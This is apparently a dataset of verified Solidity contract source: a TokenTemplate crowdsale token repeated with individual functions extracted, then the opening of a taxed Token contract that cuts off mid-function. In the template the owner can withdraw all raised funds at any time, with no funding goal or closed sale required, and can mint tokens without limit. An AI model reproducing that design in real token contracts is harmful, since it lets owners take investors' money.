contract TokenTemplate is ERC20Interface, CrowdsaleInterface, Owned { using SafeMath for uint; bytes32 public symbol; uint public priceRate; uint public minimumInvest; bytes32 public name; uint8 public decimals; uint _totalSupply; uint amountRaised; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor(bytes32 _name, bytes32 _symbol, uint _total, uint _weiCostOfEachToken, uint _weiMinimumInvest) public { symbol = _symbol; name = _name; decimals = 18; priceRate= _weiCostOfEachToken; minimumInvest= _weiMinimumInvest; _totalSupply = _total * 10**uint(decimals); _totalHolders = 0; balances[owner] = _totalSupply; holders[_totalHolders] = owner; whitelist[owner] = 2; maxInvestLimitList[owner] = 0; _totalHolders++; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) onlyWhitelist public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) onlyWhitelist public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) onlyWhitelist public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function enableWhitelist(address[] _addresses) public onlyOwner returns (bool success) { for (uint i = 0; i < _addresses.length; i++) { _addWalletToWhitelist(_addresses[i]); } return true; } function _addWalletToWhitelist(address addr) internal { if (whitelist[addr] == 2) { } else if (whitelist[addr] == 1) { whitelist[addr] = 2; } else { whitelist[addr] = 2; holders[_totalHolders] = addr; maxInvestLimitList[addr] = 0; _totalHolders++; } } function disableWhitelist(address[] _addresses) public onlyOwner returns (bool success) { for (uint i = 0; i < _addresses.length; i++) { _disableWhitelist(_addresses[i]); } return true; } function _disableWhitelist(address addr) internal { if (whitelist[addr] == 2) { whitelist[addr] = 1; } else { } } function getWhitelist() public view returns (address[] addresses) { uint256 j; uint256 count = 0; for (j=0; j<_totalHolders; j++) { if (whitelist[holders[j]] == 2) { count = count+1; } else { } } address[] memory wlist = new address[](count); for (j=0; j<count; j++) { if (whitelist[holders[j]] == 2) { wlist[j] = holders[j]; } else { } } return wlist; } function getBalances() public view returns (address[] _addresses, uint256[] _balances) { address[] memory wlist1 = new address[](_totalHolders); uint256[] memory wlist2 = new uint256[](_totalHolders); for (uint256 j=0; j<_totalHolders; j++) { //////if (whitelist[holders[j]] == 2) { wlist1[j] = holders[j]; wlist2[j] = balances[holders[j]]; //////} } return (wlist1,wlist2); } function getBalancesAndMaxLimit() public view returns (address[] _addresses, uint256[] _balances, uint256[] _limits) { address[] memory wlist1 = new address[](_totalHolders); uint256[] memory wlist2 = new uint256[](_totalHolders); uint256[] memory wlist3 = new uint256[](_totalHolders); for (uint256 j=0; j<_totalHolders; j++) { //////if (whitelist[holders[j]] == 2) { wlist1[j] = holders[j]; wlist2[j] = balances[holders[j]]; wlist3[j] = maxInvestLimitList[holders[j]]; //////} } return (wlist1,wlist2,wlist3); } function closeCrowdsale() public onlyOwner { crowdsaleClosed = true; } function safeWithdrawal() public onlyOwner { require(crowdsaleClosed); require(!fundingGoalReached); if (msg.sender.send(amountRaised)) { fundingGoalReached = true; } else { fundingGoalReached = false; } } // immediate withdrawal withou funding goal reached and without crowdsale close function immediateWithdrawal() public onlyOwner { if (msg.sender.send(amountRaised)) { //fundingGoalReached = true; amountRaised = 0; } else { //fundingGoalReached = false; } } function burnTokens(uint token_amount) public onlyOwner { require(!crowdsaleClosed); balances[owner] = balances[owner].sub(token_amount); _totalSupply = _totalSupply.sub(token_amount); emit Transfer(owner, address(0), token_amount); } function mintTokens(uint token_amount) public onlyOwner { require(!crowdsaleClosed); _totalSupply = _totalSupply.add(token_amount); balances[owner] = balances[owner].add(token_amount); emit Transfer(address(0), owner, token_amount); } function transferOwnership(address newOwner) public onlyOwner { require(!crowdsaleClosed); // enable newOwner to whitelist _addWalletToWhitelist(newOwner); // puts unrealized tokens to new owner uint token_amount = balances[owner]; balances[owner] = 0; balances[newOwner] = balances[newOwner].add(token_amount); emit Transfer(owner, newOwner, token_amount); // change owner _transferOwnership(newOwner); } function setMaximumInvest(address _address, uint _amount) public onlyOwner returns (bool success) { if (whitelist[_address] == 2) { maxInvestLimitList[_address] = _amount; return true; } else { return false; } } function setMinimumInvest(uint _weiMinimumInvest) public onlyOwner { minimumInvest = _weiMinimumInvest; } function setPriceRate(uint _weiCostOfEachToken) public onlyOwner { priceRate = _weiCostOfEachToken; } function () payable onlyWhitelist public { require(!crowdsaleClosed); uint amount = msg.value; require(amount >= minimumInvest); require(amount.div(priceRate) > 0); require( maxInvestLimitList[msg.sender]>=amount || maxInvestLimitList[msg.sender] == 0 ); uint token_amount = (amount.div(priceRate))*10**18; amountRaised = amountRaised.add(amount); balances[owner] = balances[owner].sub(token_amount); balances[msg.sender] = balances[msg.sender].add(token_amount); emit Transfer(owner, msg.sender, token_amount); } }
approve
function approve(address spender, uint tokens) onlyWhitelist public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; }
// ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------
LineComment
v0.4.25+commit.59dbf8f1
bzzr://508ed58b6f9f70d9302e4e860c4f48702022f9eb763d400cc5de2d4f198f08d9
{ "func_code_index": [ 2992, 3219 ] }
14,142
TokenTemplate
TokenTemplate.sol
0x01fdb5103a0d9de8d12e32e7775d5799bd715a54
Solidity
TokenTemplate
contract TokenTemplate is ERC20Interface, CrowdsaleInterface, Owned { using SafeMath for uint; bytes32 public symbol; uint public priceRate; uint public minimumInvest; bytes32 public name; uint8 public decimals; uint _totalSupply; uint amountRaised; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor(bytes32 _name, bytes32 _symbol, uint _total, uint _weiCostOfEachToken, uint _weiMinimumInvest) public { symbol = _symbol; name = _name; decimals = 18; priceRate= _weiCostOfEachToken; minimumInvest= _weiMinimumInvest; _totalSupply = _total * 10**uint(decimals); _totalHolders = 0; balances[owner] = _totalSupply; holders[_totalHolders] = owner; whitelist[owner] = 2; maxInvestLimitList[owner] = 0; _totalHolders++; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) onlyWhitelist public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) onlyWhitelist public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) onlyWhitelist public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function enableWhitelist(address[] _addresses) public onlyOwner returns (bool success) { for (uint i = 0; i < _addresses.length; i++) { _addWalletToWhitelist(_addresses[i]); } return true; } function _addWalletToWhitelist(address addr) internal { if (whitelist[addr] == 2) { } else if (whitelist[addr] == 1) { whitelist[addr] = 2; } else { whitelist[addr] = 2; holders[_totalHolders] = addr; maxInvestLimitList[addr] = 0; _totalHolders++; } } function disableWhitelist(address[] _addresses) public onlyOwner returns (bool success) { for (uint i = 0; i < _addresses.length; i++) { _disableWhitelist(_addresses[i]); } return true; } function _disableWhitelist(address addr) internal { if (whitelist[addr] == 2) { whitelist[addr] = 1; } else { } } function getWhitelist() public view returns (address[] addresses) { uint256 j; uint256 count = 0; for (j=0; j<_totalHolders; j++) { if (whitelist[holders[j]] == 2) { count = count+1; } else { } } address[] memory wlist = new address[](count); for (j=0; j<count; j++) { if (whitelist[holders[j]] == 2) { wlist[j] = holders[j]; } else { } } return wlist; } function getBalances() public view returns (address[] _addresses, uint256[] _balances) { address[] memory wlist1 = new address[](_totalHolders); uint256[] memory wlist2 = new uint256[](_totalHolders); for (uint256 j=0; j<_totalHolders; j++) { //////if (whitelist[holders[j]] == 2) { wlist1[j] = holders[j]; wlist2[j] = balances[holders[j]]; //////} } return (wlist1,wlist2); } function getBalancesAndMaxLimit() public view returns (address[] _addresses, uint256[] _balances, uint256[] _limits) { address[] memory wlist1 = new address[](_totalHolders); uint256[] memory wlist2 = new uint256[](_totalHolders); uint256[] memory wlist3 = new uint256[](_totalHolders); for (uint256 j=0; j<_totalHolders; j++) { //////if (whitelist[holders[j]] == 2) { wlist1[j] = holders[j]; wlist2[j] = balances[holders[j]]; wlist3[j] = maxInvestLimitList[holders[j]]; //////} } return (wlist1,wlist2,wlist3); } function closeCrowdsale() public onlyOwner { crowdsaleClosed = true; } function safeWithdrawal() public onlyOwner { require(crowdsaleClosed); require(!fundingGoalReached); if (msg.sender.send(amountRaised)) { fundingGoalReached = true; } else { fundingGoalReached = false; } } // immediate withdrawal withou funding goal reached and without crowdsale close function immediateWithdrawal() public onlyOwner { if (msg.sender.send(amountRaised)) { //fundingGoalReached = true; amountRaised = 0; } else { //fundingGoalReached = false; } } function burnTokens(uint token_amount) public onlyOwner { require(!crowdsaleClosed); balances[owner] = balances[owner].sub(token_amount); _totalSupply = _totalSupply.sub(token_amount); emit Transfer(owner, address(0), token_amount); } function mintTokens(uint token_amount) public onlyOwner { require(!crowdsaleClosed); _totalSupply = _totalSupply.add(token_amount); balances[owner] = balances[owner].add(token_amount); emit Transfer(address(0), owner, token_amount); } function transferOwnership(address newOwner) public onlyOwner { require(!crowdsaleClosed); // enable newOwner to whitelist _addWalletToWhitelist(newOwner); // puts unrealized tokens to new owner uint token_amount = balances[owner]; balances[owner] = 0; balances[newOwner] = balances[newOwner].add(token_amount); emit Transfer(owner, newOwner, token_amount); // change owner _transferOwnership(newOwner); } function setMaximumInvest(address _address, uint _amount) public onlyOwner returns (bool success) { if (whitelist[_address] == 2) { maxInvestLimitList[_address] = _amount; return true; } else { return false; } } function setMinimumInvest(uint _weiMinimumInvest) public onlyOwner { minimumInvest = _weiMinimumInvest; } function setPriceRate(uint _weiCostOfEachToken) public onlyOwner { priceRate = _weiCostOfEachToken; } function () payable onlyWhitelist public { require(!crowdsaleClosed); uint amount = msg.value; require(amount >= minimumInvest); require(amount.div(priceRate) > 0); require( maxInvestLimitList[msg.sender]>=amount || maxInvestLimitList[msg.sender] == 0 ); uint token_amount = (amount.div(priceRate))*10**18; amountRaised = amountRaised.add(amount); balances[owner] = balances[owner].sub(token_amount); balances[msg.sender] = balances[msg.sender].add(token_amount); emit Transfer(owner, msg.sender, token_amount); } }
transferFrom
function transferFrom(address from, address to, uint tokens) onlyWhitelist public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; }
// ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------
LineComment
v0.4.25+commit.59dbf8f1
bzzr://508ed58b6f9f70d9302e4e860c4f48702022f9eb763d400cc5de2d4f198f08d9
{ "func_code_index": [ 3757, 4119 ] }
14,143
TokenTemplate
TokenTemplate.sol
0x01fdb5103a0d9de8d12e32e7775d5799bd715a54
Solidity
TokenTemplate
contract TokenTemplate is ERC20Interface, CrowdsaleInterface, Owned { using SafeMath for uint; bytes32 public symbol; uint public priceRate; uint public minimumInvest; bytes32 public name; uint8 public decimals; uint _totalSupply; uint amountRaised; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor(bytes32 _name, bytes32 _symbol, uint _total, uint _weiCostOfEachToken, uint _weiMinimumInvest) public { symbol = _symbol; name = _name; decimals = 18; priceRate= _weiCostOfEachToken; minimumInvest= _weiMinimumInvest; _totalSupply = _total * 10**uint(decimals); _totalHolders = 0; balances[owner] = _totalSupply; holders[_totalHolders] = owner; whitelist[owner] = 2; maxInvestLimitList[owner] = 0; _totalHolders++; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) onlyWhitelist public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) onlyWhitelist public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) onlyWhitelist public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function enableWhitelist(address[] _addresses) public onlyOwner returns (bool success) { for (uint i = 0; i < _addresses.length; i++) { _addWalletToWhitelist(_addresses[i]); } return true; } function _addWalletToWhitelist(address addr) internal { if (whitelist[addr] == 2) { } else if (whitelist[addr] == 1) { whitelist[addr] = 2; } else { whitelist[addr] = 2; holders[_totalHolders] = addr; maxInvestLimitList[addr] = 0; _totalHolders++; } } function disableWhitelist(address[] _addresses) public onlyOwner returns (bool success) { for (uint i = 0; i < _addresses.length; i++) { _disableWhitelist(_addresses[i]); } return true; } function _disableWhitelist(address addr) internal { if (whitelist[addr] == 2) { whitelist[addr] = 1; } else { } } function getWhitelist() public view returns (address[] addresses) { uint256 j; uint256 count = 0; for (j=0; j<_totalHolders; j++) { if (whitelist[holders[j]] == 2) { count = count+1; } else { } } address[] memory wlist = new address[](count); for (j=0; j<count; j++) { if (whitelist[holders[j]] == 2) { wlist[j] = holders[j]; } else { } } return wlist; } function getBalances() public view returns (address[] _addresses, uint256[] _balances) { address[] memory wlist1 = new address[](_totalHolders); uint256[] memory wlist2 = new uint256[](_totalHolders); for (uint256 j=0; j<_totalHolders; j++) { //////if (whitelist[holders[j]] == 2) { wlist1[j] = holders[j]; wlist2[j] = balances[holders[j]]; //////} } return (wlist1,wlist2); } function getBalancesAndMaxLimit() public view returns (address[] _addresses, uint256[] _balances, uint256[] _limits) { address[] memory wlist1 = new address[](_totalHolders); uint256[] memory wlist2 = new uint256[](_totalHolders); uint256[] memory wlist3 = new uint256[](_totalHolders); for (uint256 j=0; j<_totalHolders; j++) { //////if (whitelist[holders[j]] == 2) { wlist1[j] = holders[j]; wlist2[j] = balances[holders[j]]; wlist3[j] = maxInvestLimitList[holders[j]]; //////} } return (wlist1,wlist2,wlist3); } function closeCrowdsale() public onlyOwner { crowdsaleClosed = true; } function safeWithdrawal() public onlyOwner { require(crowdsaleClosed); require(!fundingGoalReached); if (msg.sender.send(amountRaised)) { fundingGoalReached = true; } else { fundingGoalReached = false; } } // immediate withdrawal withou funding goal reached and without crowdsale close function immediateWithdrawal() public onlyOwner { if (msg.sender.send(amountRaised)) { //fundingGoalReached = true; amountRaised = 0; } else { //fundingGoalReached = false; } } function burnTokens(uint token_amount) public onlyOwner { require(!crowdsaleClosed); balances[owner] = balances[owner].sub(token_amount); _totalSupply = _totalSupply.sub(token_amount); emit Transfer(owner, address(0), token_amount); } function mintTokens(uint token_amount) public onlyOwner { require(!crowdsaleClosed); _totalSupply = _totalSupply.add(token_amount); balances[owner] = balances[owner].add(token_amount); emit Transfer(address(0), owner, token_amount); } function transferOwnership(address newOwner) public onlyOwner { require(!crowdsaleClosed); // enable newOwner to whitelist _addWalletToWhitelist(newOwner); // puts unrealized tokens to new owner uint token_amount = balances[owner]; balances[owner] = 0; balances[newOwner] = balances[newOwner].add(token_amount); emit Transfer(owner, newOwner, token_amount); // change owner _transferOwnership(newOwner); } function setMaximumInvest(address _address, uint _amount) public onlyOwner returns (bool success) { if (whitelist[_address] == 2) { maxInvestLimitList[_address] = _amount; return true; } else { return false; } } function setMinimumInvest(uint _weiMinimumInvest) public onlyOwner { minimumInvest = _weiMinimumInvest; } function setPriceRate(uint _weiCostOfEachToken) public onlyOwner { priceRate = _weiCostOfEachToken; } function () payable onlyWhitelist public { require(!crowdsaleClosed); uint amount = msg.value; require(amount >= minimumInvest); require(amount.div(priceRate) > 0); require( maxInvestLimitList[msg.sender]>=amount || maxInvestLimitList[msg.sender] == 0 ); uint token_amount = (amount.div(priceRate))*10**18; amountRaised = amountRaised.add(amount); balances[owner] = balances[owner].sub(token_amount); balances[msg.sender] = balances[msg.sender].add(token_amount); emit Transfer(owner, msg.sender, token_amount); } }
allowance
function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; }
// ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------
LineComment
v0.4.25+commit.59dbf8f1
bzzr://508ed58b6f9f70d9302e4e860c4f48702022f9eb763d400cc5de2d4f198f08d9
{ "func_code_index": [ 4402, 4554 ] }
14,144
TokenTemplate
TokenTemplate.sol
0x01fdb5103a0d9de8d12e32e7775d5799bd715a54
Solidity
TokenTemplate
contract TokenTemplate is ERC20Interface, CrowdsaleInterface, Owned { using SafeMath for uint; bytes32 public symbol; uint public priceRate; uint public minimumInvest; bytes32 public name; uint8 public decimals; uint _totalSupply; uint amountRaised; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor(bytes32 _name, bytes32 _symbol, uint _total, uint _weiCostOfEachToken, uint _weiMinimumInvest) public { symbol = _symbol; name = _name; decimals = 18; priceRate= _weiCostOfEachToken; minimumInvest= _weiMinimumInvest; _totalSupply = _total * 10**uint(decimals); _totalHolders = 0; balances[owner] = _totalSupply; holders[_totalHolders] = owner; whitelist[owner] = 2; maxInvestLimitList[owner] = 0; _totalHolders++; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) onlyWhitelist public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) onlyWhitelist public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) onlyWhitelist public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function enableWhitelist(address[] _addresses) public onlyOwner returns (bool success) { for (uint i = 0; i < _addresses.length; i++) { _addWalletToWhitelist(_addresses[i]); } return true; } function _addWalletToWhitelist(address addr) internal { if (whitelist[addr] == 2) { } else if (whitelist[addr] == 1) { whitelist[addr] = 2; } else { whitelist[addr] = 2; holders[_totalHolders] = addr; maxInvestLimitList[addr] = 0; _totalHolders++; } } function disableWhitelist(address[] _addresses) public onlyOwner returns (bool success) { for (uint i = 0; i < _addresses.length; i++) { _disableWhitelist(_addresses[i]); } return true; } function _disableWhitelist(address addr) internal { if (whitelist[addr] == 2) { whitelist[addr] = 1; } else { } } function getWhitelist() public view returns (address[] addresses) { uint256 j; uint256 count = 0; for (j=0; j<_totalHolders; j++) { if (whitelist[holders[j]] == 2) { count = count+1; } else { } } address[] memory wlist = new address[](count); for (j=0; j<count; j++) { if (whitelist[holders[j]] == 2) { wlist[j] = holders[j]; } else { } } return wlist; } function getBalances() public view returns (address[] _addresses, uint256[] _balances) { address[] memory wlist1 = new address[](_totalHolders); uint256[] memory wlist2 = new uint256[](_totalHolders); for (uint256 j=0; j<_totalHolders; j++) { //////if (whitelist[holders[j]] == 2) { wlist1[j] = holders[j]; wlist2[j] = balances[holders[j]]; //////} } return (wlist1,wlist2); } function getBalancesAndMaxLimit() public view returns (address[] _addresses, uint256[] _balances, uint256[] _limits) { address[] memory wlist1 = new address[](_totalHolders); uint256[] memory wlist2 = new uint256[](_totalHolders); uint256[] memory wlist3 = new uint256[](_totalHolders); for (uint256 j=0; j<_totalHolders; j++) { //////if (whitelist[holders[j]] == 2) { wlist1[j] = holders[j]; wlist2[j] = balances[holders[j]]; wlist3[j] = maxInvestLimitList[holders[j]]; //////} } return (wlist1,wlist2,wlist3); } function closeCrowdsale() public onlyOwner { crowdsaleClosed = true; } function safeWithdrawal() public onlyOwner { require(crowdsaleClosed); require(!fundingGoalReached); if (msg.sender.send(amountRaised)) { fundingGoalReached = true; } else { fundingGoalReached = false; } } // immediate withdrawal withou funding goal reached and without crowdsale close function immediateWithdrawal() public onlyOwner { if (msg.sender.send(amountRaised)) { //fundingGoalReached = true; amountRaised = 0; } else { //fundingGoalReached = false; } } function burnTokens(uint token_amount) public onlyOwner { require(!crowdsaleClosed); balances[owner] = balances[owner].sub(token_amount); _totalSupply = _totalSupply.sub(token_amount); emit Transfer(owner, address(0), token_amount); } function mintTokens(uint token_amount) public onlyOwner { require(!crowdsaleClosed); _totalSupply = _totalSupply.add(token_amount); balances[owner] = balances[owner].add(token_amount); emit Transfer(address(0), owner, token_amount); } function transferOwnership(address newOwner) public onlyOwner { require(!crowdsaleClosed); // enable newOwner to whitelist _addWalletToWhitelist(newOwner); // puts unrealized tokens to new owner uint token_amount = balances[owner]; balances[owner] = 0; balances[newOwner] = balances[newOwner].add(token_amount); emit Transfer(owner, newOwner, token_amount); // change owner _transferOwnership(newOwner); } function setMaximumInvest(address _address, uint _amount) public onlyOwner returns (bool success) { if (whitelist[_address] == 2) { maxInvestLimitList[_address] = _amount; return true; } else { return false; } } function setMinimumInvest(uint _weiMinimumInvest) public onlyOwner { minimumInvest = _weiMinimumInvest; } function setPriceRate(uint _weiCostOfEachToken) public onlyOwner { priceRate = _weiCostOfEachToken; } function () payable onlyWhitelist public { require(!crowdsaleClosed); uint amount = msg.value; require(amount >= minimumInvest); require(amount.div(priceRate) > 0); require( maxInvestLimitList[msg.sender]>=amount || maxInvestLimitList[msg.sender] == 0 ); uint token_amount = (amount.div(priceRate))*10**18; amountRaised = amountRaised.add(amount); balances[owner] = balances[owner].sub(token_amount); balances[msg.sender] = balances[msg.sender].add(token_amount); emit Transfer(owner, msg.sender, token_amount); } }
immediateWithdrawal
function immediateWithdrawal() public onlyOwner { if (msg.sender.send(amountRaised)) { //fundingGoalReached = true; amountRaised = 0; } else { //fundingGoalReached = false; } }
// immediate withdrawal withou funding goal reached and without crowdsale close
LineComment
v0.4.25+commit.59dbf8f1
bzzr://508ed58b6f9f70d9302e4e860c4f48702022f9eb763d400cc5de2d4f198f08d9
{ "func_code_index": [ 7752, 8004 ] }
14,145
Token
Token.sol
0xa328b83cb84e1979179723ed5f17158a7cbe63a3
Solidity
Token
contract Token is ERC20Pausable, Ownable { using SafeMath for uint256; uint256 public taxRate; address public taxReceiver; uint256 immutable private _cap; mapping(uint256 => bool) public withdrawIDs; mapping(uint256 => bool) public mintIDs; mapping(address => bool) public taxWhitelist; IHotwalletRepository hotwalletRepository; ISignersRepository signersRepository; event Deposited(string indexed tokendID, uint256 amount); event Withdrawn(uint256 indexed reqID); event TaxReceiverSet(address indexed taxReceiver); event AddedToWhitelist(address indexed whitelistAddress); event RemovedFromWhitelist(address indexed whitelistAddress); uint256 constant WITHDRAW_OP = 1; uint256 constant MINT_OP = 2; uint256 public constant TAX_RATE_DIVISOR = 10000; uint256 public constant MAX_TAX_RATE = 1000; // 10% function isSigned( uint256 _prefix, uint256 _amount, uint256 _requestID, bytes32 _r, bytes32 _s, uint8 _v ) view internal returns (bool) { bytes32 _hash = keccak256(abi.encodePacked(_prefix, block.chainid, address(this), msg.sender, _requestID, _amount)); address signer = ecrecover(_hash, _v, _r, _s); require(signer != address(0), "bad-signature"); return signersRepository.isSigner(signer); } constructor( string memory _name, string memory _symbol, address _hotwalletRepository, address _signers, uint256 cap_, uint256 taxRate_, address taxReceiver_ ) ERC20(_name, _symbol) Ownable() { signersRepository = ISignersRepository(_signers); hotwalletRepository = IHotwalletRepository(_hotwalletRepository); taxWhitelist[msg.sender] = true; taxWhitelist[taxReceiver_] = true; taxRate = taxRate_; taxReceiver = taxReceiver_; _cap = cap_; } function setTaxReceiver(address taxReceiver_) external onlyOwner { taxReceiver = taxReceiver_; emit TaxReceiverSet(taxReceiver_); } function addToWhitelist(address whitelistAddress) external onlyOwner { taxWhitelist[whitelistAddress] = true; emit AddedToWhitelist(whitelistAddress); } function removeFromWhitelist(address whitelistAddress) external onlyOwner { taxWhitelist[whitelistAddress] = false; emit RemovedFromWhitelist(whitelistAddress); } function cap() public view virtual returns (uint256) { return _cap; } function _transfer(address sender, address recipient, uint256 amount) internal override { 